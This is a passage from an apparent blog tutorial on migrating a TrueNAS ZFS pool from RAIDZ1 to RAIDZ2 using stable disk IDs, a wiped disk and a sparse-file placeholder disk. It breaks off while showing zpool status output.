&lt;li>&lt;code>sdb&lt;/code>: 100&lt;/li>
&lt;li>&lt;code>sdg&lt;/code>: 100&lt;/li>
&lt;li>&lt;code>sdh&lt;/code>: 100&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The new disks are all at 100%, which makes sense, as they&amp;rsquo;re freshly refurbished. &lt;code>sda&lt;/code> is the lowest at 32%, so I&amp;rsquo;ll designate it as the weakest and move it to the new pool first.&lt;/p>
&lt;h3 id="step-5-create-stable-disk-identifiers">Step 5: Create stable disk identifiers&lt;/h3>
&lt;p>The &lt;code>/dev/sdX&lt;/code> paths are not stable across reboots. A disk that&amp;rsquo;s at &lt;code>/dev/sda&lt;/code> can show up as &lt;code>/dev/sdf&lt;/code> on my next reboot. It&amp;rsquo;s unclear to me if ZFS resolves disks to more stable identifiers, but I didn&amp;rsquo;t want to take any chances.&lt;/p>
&lt;p>I wrote this bash function to convert the &lt;code>/dev/sdX&lt;/code> path to a stable identifier for the disk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>get_disk_id() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">dev&lt;/span>=&lt;span style="color:#40ffff">$1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">target&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/dev/&lt;/span>&lt;span style="color:#40ffff">$dev&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> path in /dev/disk/by-id/*; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> [ -L &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$path&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ] &amp;amp;&amp;amp; [ &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>readlink -f &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$path&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$target&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ] &amp;amp;&amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [[ &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">path&lt;/span>: -2:&lt;span style="color:#40ffff">1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> != &lt;span style="color:#ed9d13">&amp;#34;:&amp;#34;&lt;/span> ]]; &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$path&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;Disk ID not found for device: &lt;/span>&lt;span style="color:#40ffff">$dev&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt;&amp;amp;&lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To use my &lt;code>get_disk_id&lt;/code> bash function, I give it the &lt;code>sdX&lt;/code> identifier, and it returns the stable path to that disk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ get_disk_id sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/dev/disk/by-id/ata-HGST_HUS728T8TALE6L1_VGGGYUEG
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To make my process reusable, I save my disk IDs to environment variables:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Old disks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sda&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_2&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdc&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_3&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sde&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_4&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdf&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I create environment variables for my new disks:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># New disks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_5&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdb&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_6&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdg&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_7&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>get_disk_id sdh&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also create an environment variable to refer to my existing RAIDZ1 pool:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;pool1&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-6-offline-the-weak-disk">Step 6: Offline the weak disk&lt;/h3>
&lt;p>Before I touch anything, I verify that my old pool is healthy and has the disks I expect:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo zpool status &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool: pool1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: ONLINE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> scan: scrub repaired 68K in 10:40:08 with &lt;span style="color:#3677a9">0&lt;/span> errors on Wed May &lt;span style="color:#3677a9">14&lt;/span> 06:25:26 &lt;span style="color:#3677a9">2025&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NAME STATE READ WRITE CKSUM
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool1 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raidz1-0 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sde2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sdf2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sdc2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sda2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>errors: No known data errors
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>sda2&lt;/code> (&lt;code>DISK_1&lt;/code>) is the weak disk that I want to move to the new RAIDZ2 pool, so I run the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DISK_TO_OFFLINE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;sda2&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo zpool offline &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DISK_TO_OFFLINE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Checking &lt;code>zpool status&lt;/code>, I see that offlining the disk has put the pool into a degraded state, as I expected:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo zpool status &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool: pool1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: DEGRADED
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>status: One or more devices has been taken offline by the administrator.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Sufficient replicas exist &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> the pool to &lt;span style="color:#6ab825;font-weight:bold">continue&lt;/span> functioning in a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> degraded state.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action: Online the device using &lt;span style="color:#ed9d13">&amp;#39;zpool online&amp;#39;&lt;/span> or replace the device with
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;zpool replace&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> scan: scrub repaired 68K in 10:40:08 with &lt;span style="color:#3677a9">0&lt;/span> errors on Wed May &lt;span style="color:#3677a9">14&lt;/span> 06:25:26 &lt;span style="color:#3677a9">2025&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NAME STATE READ WRITE CKSUM
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool1 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raidz1-0 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sde2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sdf2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sdc2 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sda2 OFFLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>errors: No known data errors
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-7-wipe-the-weak-disk">Step 7: Wipe the weak disk&lt;/h3>
&lt;p>There&amp;rsquo;s a bit of a hitch with creating my RAIDZ2 pool. If I try to create a new pool with the weak disk (&lt;code>DISK_1&lt;/code>) , ZFS will tell me that it already belongs to another pool. Even though I&amp;rsquo;ve offlined the disk, ZFS still insists that my RAIDZ1 pool owns the disk.&lt;/p>
&lt;p>To stop my RAIDZ1 pool from claiming ownership over the weak disk, I need to fully wipe it.&lt;/p>
&lt;p>I define an environment variable to track the disk I&amp;rsquo;m moving:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MOVED_DISK&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DISK_1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then I wipe all data from the disk:&lt;/p>
&lt;div class="notice notice-danger">
 &lt;strong>Caution&lt;/strong>: Run the &lt;code>wipefs&lt;/code> command carefully, as it wipes the entire disk with zero confirmation.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Be careful! This command completely wipes the disk with no confirmation.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wipefs --all &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MOVED_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-8-create-a-fake-disk-with-a-sparse-file">Step 8: Create a fake disk with a sparse file&lt;/h3>
&lt;p>I could create a 4x8TB RAIDZ2 pool, but that would only give me 16 TB of usable capacity, not enough to store my 18 TB of data.&lt;/p>
&lt;p>Instead, I create a 5x8TB RAIDZ2 pool, except the fifth disk doesn&amp;rsquo;t really exist. ZFS allows me to create a ZFS pool using a sparse file as a disk.&lt;/p>
&lt;p>To create a fake disk as a sparse file, I need to know the exact size of the other disks in my pool, which I can find with &lt;code>fdisk&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fdisk --list | grep &lt;span style="color:#ed9d13">&amp;#34;^Disk.*bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdf: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdd: 111.79 GiB, &lt;span style="color:#3677a9">120034123776&lt;/span> bytes, &lt;span style="color:#3677a9">234441648&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sda: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdc: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sde: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdb: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/mapper/sdd3: &lt;span style="color:#3677a9">16&lt;/span> GiB, &lt;span style="color:#3677a9">17179869184&lt;/span> bytes, &lt;span style="color:#3677a9">33554432&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/zd0: &lt;span style="color:#3677a9">10&lt;/span> GiB, &lt;span style="color:#3677a9">10737418240&lt;/span> bytes, &lt;span style="color:#3677a9">20971520&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdg: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk /dev/sdh: 7.28 TiB, &lt;span style="color:#3677a9">8001563222016&lt;/span> bytes, &lt;span style="color:#3677a9">15628053168&lt;/span> sectors
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Based on that, I see that each of my real disks has &lt;code>8001563222016&lt;/code> bytes, so I create a fake drive with the &lt;code>truncate&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;/tmp/fake-drive.img&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>truncate --size &lt;span style="color:#3677a9">8001563222016&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, I need a name for my new pool. I used the name &lt;code>pool1&lt;/code> before I knew the ZFS cultural convention to name your pool &lt;code>tank&lt;/code>. I thought this would be my opportunity to fit in with the cool kids by naming my new pool &lt;code>tank&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;tank&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Unfortunately, I didn&amp;rsquo;t get to keep the pool name &lt;code>tank&lt;/code>. TrueNAS has a lot of dependencies on the pool name, so I chose to go back to &lt;code>pool1&lt;/code> rather than update all of my shares and cron jobs to point to &lt;code>tank&lt;/code> instead (see &lt;a href="#step-12-swap-pool-names">below&lt;/a>).&lt;/p>
&lt;h3 id="step-9-create-the-raidz2-pool">Step 9: Create the RAIDZ2 pool&lt;/h3>
&lt;p>Finally, it&amp;rsquo;s time to create my 5x8TB RAIDZ2 pool:&lt;/p>
&lt;p>&lt;img src="migration-1.svg" alt="">&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool create &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -f &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> raidz2 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -m &lt;span style="color:#ed9d13">&amp;#34;/mnt/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DISK_5&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DISK_6&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DISK_7&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MOVED_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Creating the pool succeeded, and I can check it with ZFS utilities:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool status &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool: tank
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: ONLINE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NAME STATE READ WRITE CKSUM
